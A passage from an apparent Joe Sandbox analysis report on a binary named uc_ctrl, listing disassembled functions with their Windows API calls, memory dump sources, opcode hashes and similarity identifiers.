                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 8089c3e48c10db985ece45d645e569c2e7eeeddd22730b3430dcd95f97580416
                                                                                              • Instruction ID: c4bbb7231df1954e6522c17fb4bfc515db1aff53813bd34b2e60e4bf931ac777
                                                                                              • Opcode Fuzzy Hash: 8089c3e48c10db985ece45d645e569c2e7eeeddd22730b3430dcd95f97580416
                                                                                              • Instruction Fuzzy Hash: 46F17B32900615DBEF05DFA9C481A9EBBB6FF8A314F15815AED11AB740E731A841CFA1
                                                                                              Function 6CFA2AB7 Relevance: 13.8, APIs: 9, Instructions: 265COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFA2ABE
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Exception@8H_prolog3Throw
                                                                                              • String ID:
                                                                                              • API String ID: 3670251406-0
                                                                                              • Opcode ID: 9c5591da1820b330ef71075c06c470039964424ae16a143da8b392db00c2208e
                                                                                              • Instruction ID: ce85e8c8c405057315be312659658b9133a97613ec194ceb4b71f91bdf14c797
                                                                                              • Opcode Fuzzy Hash: 9c5591da1820b330ef71075c06c470039964424ae16a143da8b392db00c2208e
                                                                                              • Instruction Fuzzy Hash: DAA1AB71701216EFDB08CFA5C898B6EB7B6BF48314F154048EA15AB790DB31AD12CBE5
                                                                                              Function 6CF90296 Relevance: 13.7, APIs: 9, Instructions: 249filecomCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF9029D
                                                                                              • OleDuplicateData.OLE32(?,?,00000000), ref: 6CF9032A
                                                                                              • GlobalLock.KERNEL32(00000000,00000054), ref: 6CF90358
                                                                                              • CopyMetaFileW.GDI32(?,00000000), ref: 6CF90366
                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 6CF90374
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 6CF9037B
                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 6CF90383
                                                                                                • Part of subcall function 6CF8A0EB: __EH_prolog3.LIBCMT ref: 6CF8A0F2
                                                                                              • _wcslen.LIBCMT ref: 6CF903F5
                                                                                              • CopyFileW.KERNEL32(?,?,00000000,?,?,00000054), ref: 6CF90525
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$CopyFileUnlock$DataDuplicateFreeH_prolog3H_prolog3_LockMeta_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 2256172175-0
                                                                                              • Opcode ID: 8e12720381cbcb1f567a26d50705df966428b50184e92fb965b36724cb5e31a8
                                                                                              • Instruction ID: ea15b141521b781c5520286ebfcc9700604882e88cde0d41cc18d4ea067bdeee
                                                                                              • Opcode Fuzzy Hash: 8e12720381cbcb1f567a26d50705df966428b50184e92fb965b36724cb5e31a8
                                                                                              • Instruction Fuzzy Hash: C0816171554541EFEF148F68C999E2ABBB9FF4D304714825CE81ACBA94DBB1E800CB61
                                                                                              Function 6CFC9FBB Relevance: 13.7, APIs: 9, Instructions: 196fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CFC9FC5
                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104,6D0F4214,00000000,6D0FE0E8,00000000,6D0F444C,00000000,?,?,00000A38,6CFCAF92,?,00000000,00000038), ref: 6CFCA05C
                                                                                              • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,6D0F444C,00000000,?,?,00000A38,6CFCAF92,?,00000000,00000038), ref: 6CFCA0FE
                                                                                              • GetFileSize.KERNEL32(00000000,00000000), ref: 6CFCA10E
                                                                                              • CloseHandle.KERNEL32(00000000), ref: 6CFCA117
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$CloseCreateH_prolog3_HandleModuleNameSize
                                                                                              • String ID:
                                                                                              • API String ID: 2198494350-0
                                                                                              • Opcode ID: 7808ae33e30a50f6117629bc7e632436b5e397edef65d764ba5cb9c124d09edd
                                                                                              • Instruction ID: 65585fc68aceb40278fb5ff5658fba4c668c2c886d8e11a33aab7e5bb9615988
                                                                                              • Opcode Fuzzy Hash: 7808ae33e30a50f6117629bc7e632436b5e397edef65d764ba5cb9c124d09edd
                                                                                              • Instruction Fuzzy Hash: 9961A572700115AADB219F24CC44FEF76B8AF8A724F114269F955A75C0DB309A85CFA2
                                                                                              Function 6CFA670F Relevance: 13.6, APIs: 9, Instructions: 64windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetDlgItem.USER32(?,?), ref: 6CFA6729
                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 6CFA6738
                                                                                              • IsWindowEnabled.USER32(00000000), ref: 6CFA6746
                                                                                              • GetDlgItem.USER32(?), ref: 6CFA675C
                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 6CFA6767
                                                                                              • IsWindowEnabled.USER32(00000000), ref: 6CFA6775
                                                                                              • GetFocus.USER32 ref: 6CFA6793
                                                                                              • IsWindowEnabled.USER32(00000000), ref: 6CFA679A
                                                                                              • SetFocus.USER32(00000000), ref: 6CFA67A5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Enabled$FocusItemLong
                                                                                              • String ID:
                                                                                              • API String ID: 1558694495-0
                                                                                              • Opcode ID: 735eabadce91a5eed348c801dd27ab699cd299e6aa3776022694e4e089f963d9
                                                                                              • Instruction ID: d7dc5fa74dec426b5b32e2675078d19508428640c2bc9c3c3d89d746672e0491
                                                                                              • Opcode Fuzzy Hash: 735eabadce91a5eed348c801dd27ab699cd299e6aa3776022694e4e089f963d9
                                                                                              • Instruction Fuzzy Hash: 9F11C472314611ABEE111BADDC48B5EFB3DFF4A765B200121FD55D2650DF34E8028B92
                                                                                              Function 6CFA72F3 Relevance: 12.5, APIs: 8, Instructions: 472COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen$_memcpy_s$Exception@8FileH_prolog3PathRemoveSpecThrow
                                                                                              • String ID:
                                                                                              • API String ID: 853645266-0
                                                                                              • Opcode ID: 6182b6702110c76ab888aed5de032d2845b103759368fe429d3a589b28f34396
                                                                                              • Instruction ID: 9611a078a705cc750f4822cd1ea7799627aaea30537c112beb044a8bf158a7f0
                                                                                              • Opcode Fuzzy Hash: 6182b6702110c76ab888aed5de032d2845b103759368fe429d3a589b28f34396
                                                                                              • Instruction Fuzzy Hash: 12029471D02616CFDB04CFA8C850FAEB7B6EF84314F25816ED9156B699DB309902CFA1
                                                                                              Function 00104210 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SendMessageW.USER32(?,0000004A,00000000,?), ref: 001044B1
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend
                                                                                              • String ID: add_buddy$call$chat$share$videoMeeting$videocall
                                                                                              • API String ID: 3850602802-283566061
                                                                                              • Opcode ID: 216024eaf773eb5cef21b0cc8799707d24a356315054eec51332fc91ae3217bf
                                                                                              • Instruction ID: f08be138b7bf62b7b414b57732da1be8cd558eeaa7b946d4562d51fc4db82546
                                                                                              • Opcode Fuzzy Hash: 216024eaf773eb5cef21b0cc8799707d24a356315054eec51332fc91ae3217bf
                                                                                              • Instruction Fuzzy Hash: 7D61E4F76001049BDB245B308D85BA6B2B5FF14B18F9481A5DAC5EB2D0FBF19E458B90
                                                                                              Function 6CFA0040 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 183timeCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SystemTimeToVariantTime.OLEAUT32(?,?), ref: 6CFA0063
                                                                                              • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 6CFA008B
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFA00F9
                                                                                              • VarBstrFromDate.OLEAUT32(?,?,?,?,?), ref: 6CFA01A6
                                                                                              • SysFreeString.OLEAUT32(?), ref: 6CFA020B
                                                                                              • SysFreeString.OLEAUT32(?), ref: 6CFA0248
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Time$FreeStringSystemVariant$BstrDateFromH_prolog3
                                                                                              • String ID: Invalid DateTime
                                                                                              • API String ID: 4133050923-2190634649
                                                                                              • Opcode ID: c7a0d725d491cb928c75784f460be8d29ab962aff5bc0dbbb2a309c3f2ec1d03
                                                                                              • Instruction ID: 4242c4fb31ffb5db9e757228f41a0aa192c8f45d026ffb15e4de0b4e88411941
                                                                                              • Opcode Fuzzy Hash: c7a0d725d491cb928c75784f460be8d29ab962aff5bc0dbbb2a309c3f2ec1d03
                                                                                              • Instruction Fuzzy Hash: 4451C63190504AE7DB019FA4DC40AFFF778EF05328B118159ED16ABAC0DB71AD46CBA5
                                                                                              Function 6CFA89E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 147COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen
                                                                                              • String ID: 1$A$ZA1$ZA1$ZA1
                                                                                              • API String ID: 176396367-2337498304
                                                                                              • Opcode ID: eb5aefdadfd73ef612e64e30590f54ba30c75def1d6cf11b22cd7adbad95e7f9
                                                                                              • Instruction ID: e5fbf9a4566276f19559a47acac1ec77306441a907d21b4ca6542540161592e2
                                                                                              • Opcode Fuzzy Hash: eb5aefdadfd73ef612e64e30590f54ba30c75def1d6cf11b22cd7adbad95e7f9
                                                                                              • Instruction Fuzzy Hash: 4241027290034AEBDB189FE8D8117AAB7B5EB40754F60851BE9819B984E3F06AC3C751
                                                                                              Function 6CEEFE80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEEFE87
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEEFEF6
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6CEEFF1F
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEED96D: __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                                • Part of subcall function 6CEED96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                                • Part of subcall function 6CEED96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEED96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEEFF3B
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_locales_swprintf_sstd::locale::localestd::locale::~locale
                                                                                              • String ID: %.0Lf
                                                                                              • API String ID: 3171560847-1402515088
                                                                                              • Opcode ID: cf4e4fcbafbf75ea3dc15c412619c41cbef3fcc80315d9673360dfaa1fe387e3
                                                                                              • Instruction ID: ab5b0816df6924bba53f5bd15ebd325a820b0a54d9073293f4dc7b12cab3971f
                                                                                              • Opcode Fuzzy Hash: cf4e4fcbafbf75ea3dc15c412619c41cbef3fcc80315d9673360dfaa1fe387e3
                                                                                              • Instruction Fuzzy Hash: 6241AC71E00209ABCF05DFD0D854ADDBBB4FF09744F208549E855AB791EB39A919CB90
                                                                                              Function 6CEFBA90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEFBA97
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEFBB06
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6CEFBB2F
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEE632C: __EH_prolog3.LIBCMT ref: 6CEE6333
                                                                                                • Part of subcall function 6CEE632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE633E
                                                                                                • Part of subcall function 6CEE632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE6356
                                                                                                • Part of subcall function 6CEE632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE63BA
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEFBB4B
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_locales_swprintf_sstd::locale::localestd::locale::~locale
                                                                                              • String ID: %.0Lf
                                                                                              • API String ID: 3171560847-1402515088
                                                                                              • Opcode ID: 359ddc0a38ed92485231c2e104c152c49f171dcfa2ac4bbf3a020024102d8c2e
                                                                                              • Instruction ID: 8d3f228493f38940cfed59aacfc3fb8c1de80bbd023696880e70306884b5fcd4
                                                                                              • Opcode Fuzzy Hash: 359ddc0a38ed92485231c2e104c152c49f171dcfa2ac4bbf3a020024102d8c2e
                                                                                              • Instruction Fuzzy Hash: 25418971E00209ABCF05EFD4C854ADDBBB5FF09744F208548E855AB794EB75991ACB80
                                                                                              Function 6D0B3ADE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6D0B3AE5
                                                                                              • IsAppThemed.UXTHEME(00000000,00000000,00000038,6D0B3C36,?,?,?,?,?,?,6D00084F,?,000000FF), ref: 6D0B3B08
                                                                                              • OpenThemeData.UXTHEME(?,Button,?,?,?,?,?,?,6D00084F,?,000000FF), ref: 6D0B3B2A
                                                                                              • GetThemePartSize.UXTHEME(00000000,?,00000003,00000005,00000000,00000001,?,00000000,?,?,?,?,?,?,?,6D00084F), ref: 6D0B3B6C
                                                                                              • CloseThemeData.UXTHEME(00000000,00000000,?,?,?,?,?,?,6D00084F,?), ref: 6D0B3B8B
                                                                                              • GetObjectW.GDI32(00000006,00000018,?), ref: 6D0B3BB7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Theme$Data$CloseH_prolog3ObjectOpenPartSizeThemed
                                                                                              • String ID: Button
                                                                                              • API String ID: 1633685699-1034594571
                                                                                              • Opcode ID: 1e357017c5de81799fbb9d2329d1f27ad7132439cc44e7f48a84c16392da2e4b
                                                                                              • Instruction ID: 5773d70faa971d7bb1c59e9d002089e5bee8a811cbdc9c30ff56c7d2da2bb0ed
                                                                                              • Opcode Fuzzy Hash: 1e357017c5de81799fbb9d2329d1f27ad7132439cc44e7f48a84c16392da2e4b
                                                                                              • Instruction Fuzzy Hash: 5A314F71B442069BFF04CFA4D885FEEBBB8EB08711F204019EA11EB280DB7199058BA1
                                                                                              Function 6CF99119 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 72COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • IsWindow.USER32(00000000), ref: 6CF99139
